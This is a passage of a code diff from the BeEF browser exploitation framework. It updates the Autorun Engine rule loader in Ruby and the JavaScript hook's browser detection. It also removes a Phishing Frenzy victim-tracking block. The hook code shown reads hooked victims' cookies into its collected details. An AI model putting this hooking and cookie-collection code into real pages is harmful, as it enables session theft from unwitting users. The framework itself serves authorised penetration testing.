print_more "(*) Code: #{mod['code']}"
print_more '(*) Options:'
mod['options'].each do |key, value|
print_more "\t#{key}: (#{value})"
end end
are_rule = BeEF::Core::Models::Rule.new(
:name => name,
:author => author,
:browser => browser,
:browser_version => browser_version,
:os => os,
:os_version => os_version,
:modules => modules.to_json,
:execution_order => exec_order,
:execution_delay => exec_delay,
:chain_mode => chain_mode)
are_rule.save
return { 'success' => true, 'rule_id' => are_rule.id}
else
print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last
return { 'success' => false, 'error' => parser_result.last }
end end
print_more "Exec order: #{execution_order}"
rescue => e print_more "Exec delay: #{exec_delay}"
err = 'Malformed JSON ruleset.'
print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}"
return { 'success' => false, 'error' => err }
end end
{ 'success' => true, 'rule_id' => are_rule.id }
rescue TypeError, ArgumentError => e
print_error("[ARE] Failed to load ruleset (#{name}): #{e.message}")
{ 'success' => false, 'error' => e.message }
end end
def load_file(json_rule_path) # Update an ARE rule set.
# @param [Hash] ARE rule ID.
# @param [Hash] ARE ruleset as JSON
# @return [Hash] {"success": Boolean, "rule_id": Integer, "error": String}
def update_rule_json(id, data)
# Quite similar in implementation to load_rule_json. Might benefit from a refactor.
name = data['name'] || ''
author = data['author'] || ''
browser = data['browser'] || 'ALL'
browser_version = data['browser_version'] || 'ALL'
os = data['os'] || 'ALL'
os_version = data['os_version'] || 'ALL'
modules = data['modules']
execution_order = data['execution_order']
execution_delay = data['execution_delay']
chain_mode = data['chain_mode'] || 'sequential'
begin begin
rule_file = File.open(json_rule_path, 'r:UTF-8', &:read) BeEF::Core::AutorunEngine::Parser.instance.parse(
self.load JSON.parse(rule_file) name,
author,
browser,
browser_version,
os,
os_version,
modules,
execution_order,
execution_delay,
chain_mode
)
rescue => e rescue => e
print_error "[ARE] Failed to load ruleset from #{json_rule_path}" print_error("[ARE] Error updating ruleset (#{name}): #{e.message}")
return { 'success' => false, 'error' => e.message }
end end
existing_rule = BeEF::Core::Models::Rule.where(
name: name,
author: author,
browser: browser,
browser_version: browser_version,
os: os,
os_version: os_version,
modules: modules.to_json,
execution_order: execution_order.to_s,
execution_delay: execution_delay.to_s,
chain_mode: chain_mode
).first
unless existing_rule.nil?
msg = "Duplicate rule already exists in the database (ID: #{existing_rule.id})"
print_info("[ARE] Skipping ruleset (#{name}): #{msg}")
return { 'success' => false, 'error' => msg }
end
old_are_rule = BeEF::Core::Models::Rule.find_by(id: id)
old_are_rule.update(
name: name,
author: author,
browser: browser,
browser_version: browser_version,
os: os,
os_version: os_version,
modules: modules.to_json,
execution_order: execution_order.to_s,
execution_delay: execution_delay.to_s,
chain_mode: chain_mode
)
print_info("[ARE] Ruleset (#{name}) updated successfully.")
if @debug_on
print_more "Target Browser: #{browser} (#{browser_version})"
print_more "Target OS: #{os} (#{os_version})"
print_more 'Modules to run:'
modules.each do |mod|
print_more "(*) Name: #{mod['name']}"
print_more "(*) Condition: #{mod['condition']}"
print_more "(*) Code: #{mod['code']}"
print_more '(*) Options:'
mod['options'].each do |key, value|
print_more "\t#{key}: (#{value})"
end
end
print_more "Exec order: #{execution_order}"
print_more "Exec delay: #{exec_delay}"
end
{ 'success' => true }
rescue TypeError, ArgumentError => e
print_error("[ARE] Failed to update ruleset (#{name}): #{e.message}")
{ 'success' => false, 'error' => e.message }
end end
# Load an ARE ruleset from file
# @param [String] JSON ARE ruleset file path
def load_rule_file(json_rule_path)
rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
self.load_rule_json(JSON.parse(rule_file))
rescue => e
print_error("[ARE] Failed to load ruleset from #{json_rule_path}: #{e.message}")
end
# Load all JSON ARE rule files from arerules/enabled/ directory
def load_directory def load_directory
Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule| Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule_file|
print_debug "[ARE] Processing rule: #{rule}" print_debug("[ARE] Processing ruleset file: #{rule_file}")
self.load_file rule load_rule_file(rule_file)
end end
end end
end end

View File

@@ -1,6 +1,6 @@
// //
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com // Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission // See the file 'doc/COPYING' for copying permission
// //

View File

@@ -1,6 +1,6 @@
// //
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com // Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission // See the file 'doc/COPYING' for copying permission
// //
@@ -39,7 +39,7 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
*/ */
debug: function(msg) { debug: function(msg) {
isDebug = '<%= @client_debug %>' isDebug = '<%= @client_debug %>'
if (typeof console == "object" && typeof console.log == "function" && isDebug.localeCompare("true")) { if (typeof console == "object" && typeof console.log == "function" && isDebug === 'true') {
var currentdate = new Date(); var currentdate = new Date();
var pad = function(n){return ("0" + n).slice(-2);} var pad = function(n){return ("0" + n).slice(-2);}
var datetime = currentdate.getFullYear() + "-" var datetime = currentdate.getFullYear() + "-"

View File

@@ -1,6 +1,6 @@
// //
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com // Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission // See the file 'doc/COPYING' for copying permission
// //
@@ -944,14 +944,25 @@ beef.browser = {
*/ */
isFF99: function () { isFF99: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null; return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
},
/**
* Returns true if the browser is any version of Firefox.
* @example: beef.browser.isFFbowser()
*/
isFFbowser: function () {
const parser = bowser.getParser(navigator.userAgent);
const browserName = parser.getBrowserName();
return browserName == 'Firefox';
}, },
/** /**
* Returns true if FF. * Returns true if the browser is any version of Firefox.
* @example: beef.browser.isFF() * @example: beef.browser.isFF()
*/ */
isFF: function () { isFF: function () {
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58()|| this.isFF59() || this.isFF60() || this.isFF61() || this.isFF62() || this.isFF63() || this.isFF64() || this.isFF65() || this.isFF66() || this.isFF67() || this.isFF68() || this.isFF69() || this.isFF70() || this.isFF71() || this.isFF72() || this.isFF73() || this.isFF74() || this.isFF75() || this.isFF76() || this.isFF77() || this.isFF78() || this.isFF79() || this.isFF80() || this.isFF81() || this.isFF82() || this.isFF83() || this.isFF84() || this.isFF85() || this.isFF86() || this.isFF87() || this.isFF88() || this.isFF89() || this.isFF90() || this.isFF91() || this.isFF92() || this.isFF93() || this.isFF94() || this.isFF95() || this.isFF96() || this.isFF97() || this.isFF98() || this.isFF99(); var legacyCheck = this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58()|| this.isFF59() || this.isFF60() || this.isFF61() || this.isFF62() || this.isFF63() || this.isFF64() || this.isFF65() || this.isFF66() || this.isFF67() || this.isFF68() || this.isFF69() || this.isFF70() || this.isFF71() || this.isFF72() || this.isFF73() || this.isFF74() || this.isFF75() || this.isFF76() || this.isFF77() || this.isFF78() || this.isFF79() || this.isFF80() || this.isFF81() || this.isFF82() || this.isFF83() || this.isFF84() || this.isFF85() || this.isFF86() || this.isFF87() || this.isFF88() || this.isFF89() || this.isFF90() || this.isFF91() || this.isFF92() || this.isFF93() || this.isFF94() || this.isFF95() || this.isFF96() || this.isFF97() || this.isFF98() || this.isFF99();
return legacyCheck || this.isFFbowser();
}, },
/** /**
@@ -2438,12 +2449,23 @@ beef.browser = {
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 99) ? true : false); return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 99) ? true : false);
}, },
/**
* Returns true for modern versions of Chrome (above 9).
* @example: beef.browser.isCbowser()
*/
isCbowser: function () {
const parser = bowser.getParser(navigator.userAgent);
const browserName = parser.getBrowserName();
return browserName == 'Chrome';
},
/** /**
* Returns true if Chrome. * Returns true if Chrome.
* @example: beef.browser.isC() * @example: beef.browser.isC()
*/ */
isC: function () { isC: function () {
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC59() || this.isC59iOS()|| this.isC60() || this.isC60iOS()|| this.isC61() || this.isC61iOS()|| this.isC62() || this.isC62iOS()|| this.isC63() || this.isC63iOS()|| this.isC64() || this.isC64iOS()|| this.isC65() || this.isC65iOS()|| this.isC66() || this.isC66iOS()|| this.isC67() || this.isC67iOS()|| this.isC68() || this.isC68iOS()|| this.isC69() || this.isC69iOS()|| this.isC70() || this.isC70iOS()|| this.isC71() || this.isC71iOS()|| this.isC72() || this.isC72iOS()|| this.isC73() || this.isC73iOS()|| this.isC74() || this.isC74iOS()|| this.isC75() || this.isC75iOS()|| this.isC76() || this.isC76iOS()|| this.isC77() || this.isC77iOS()|| this.isC78() || this.isC78iOS()|| this.isC79() || this.isC79iOS()|| this.isC80() || this.isC80iOS()|| this.isC81() || this.isC81iOS()|| this.isC82() || this.isC82iOS()|| this.isC83() || this.isC83iOS()|| this.isC84() || this.isC84iOS()|| this.isC85() || this.isC85iOS()|| this.isC86() || this.isC86iOS()|| this.isC87() || this.isC87iOS()|| this.isC88() || this.isC88iOS()|| this.isC89() || this.isC89iOS()|| this.isC90() || this.isC90iOS()|| this.isC91() || this.isC91iOS()|| this.isC92() || this.isC92iOS()|| this.isC93() || this.isC93iOS()|| this.isC94() || this.isC94iOS()|| this.isC95() || this.isC95iOS()|| this.isC96() || this.isC96iOS()|| this.isC97() || this.isC97iOS()|| this.isC98() || this.isC98iOS()|| this.isC99() || this.isC99iOS(); var legacyCheck = this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC59() || this.isC59iOS()|| this.isC60() || this.isC60iOS()|| this.isC61() || this.isC61iOS()|| this.isC62() || this.isC62iOS()|| this.isC63() || this.isC63iOS()|| this.isC64() || this.isC64iOS()|| this.isC65() || this.isC65iOS()|| this.isC66() || this.isC66iOS()|| this.isC67() || this.isC67iOS()|| this.isC68() || this.isC68iOS()|| this.isC69() || this.isC69iOS()|| this.isC70() || this.isC70iOS()|| this.isC71() || this.isC71iOS()|| this.isC72() || this.isC72iOS()|| this.isC73() || this.isC73iOS()|| this.isC74() || this.isC74iOS()|| this.isC75() || this.isC75iOS()|| this.isC76() || this.isC76iOS()|| this.isC77() || this.isC77iOS()|| this.isC78() || this.isC78iOS()|| this.isC79() || this.isC79iOS()|| this.isC80() || this.isC80iOS()|| this.isC81() || this.isC81iOS()|| this.isC82() || this.isC82iOS()|| this.isC83() || this.isC83iOS()|| this.isC84() || this.isC84iOS()|| this.isC85() || this.isC85iOS()|| this.isC86() || this.isC86iOS()|| this.isC87() || this.isC87iOS()|| this.isC88() || this.isC88iOS()|| this.isC89() || this.isC89iOS()|| this.isC90() || this.isC90iOS()|| this.isC91() || this.isC91iOS()|| this.isC92() || this.isC92iOS()|| this.isC93() || this.isC93iOS()|| this.isC94() || this.isC94iOS()|| this.isC95() || this.isC95iOS()|| this.isC96() || this.isC96iOS()|| this.isC97() || this.isC97iOS()|| this.isC98() || this.isC98iOS()|| this.isC99() || this.isC99iOS();
return legacyCheck || this.isCbowser();
}, },
/** /**
@@ -2486,12 +2508,23 @@ beef.browser = {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null)); return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
}, },
/**
* Returns true if the browser is any version of Opera.
* @example: beef.browser.isObowser()
*/
isObowser: function () {
const parser = bowser.getParser(navigator.userAgent);
const browserName = parser.getBrowserName();
return browserName == 'Opera';
},
/** /**
* Returns true if Opera. * Returns true if Opera.
* @example: beef.browser.isO() * @example: beef.browser.isO()
*/ */
isO: function () { isO: function () {
return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12(); var legacyCheck = this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
return legacyCheck || this.isObowser();
}, },
/** /**
@@ -4265,9 +4298,6 @@ beef.browser = {
try { try {
var cookies = document.cookie; var cookies = document.cookie;
/* Never stop the madness dear C.
* var veglol = beef.browser.cookie.veganLol();
*/
if (cookies) details['browser.window.cookies'] = cookies; if (cookies) details['browser.window.cookies'] = cookies;
} catch (e) { } catch (e) {
beef.debug("Cookies can't be read. The hooked origin is most probably using HttpOnly."); beef.debug("Cookies can't be read. The hooked origin is most probably using HttpOnly.");
@@ -4331,24 +4361,6 @@ beef.browser = {
if (has_wmp) details['browser.capabilities.wmp'] = has_wmp; if (has_wmp) details['browser.capabilities.wmp'] = has_wmp;
if (has_vlc) details['browser.capabilities.vlc'] = has_vlc; if (has_vlc) details['browser.capabilities.vlc'] = has_vlc;
var pf_integration = "<%= @phishing_frenzy_enable %>";
if (pf_integration) {
var pf_param = "uid";
var pf_victim_uid = "";
var location_search = window.location.search.substring(1);
var params = location_search.split('&');
for (var i = 0; i < params.length; i++) {
var param_entry = params[i].split('=');
if (param_entry[0] == pf_param) {
pf_victim_uid = param_entry[1];
details['PhishingFrenzyUID'] = pf_victim_uid;
break;
}
}
} else {
details['PhishingFrenzyUID'] = "N/A";
}
return details; return details;
}, },

Some files were not shown because too many files have changed in this diff Show More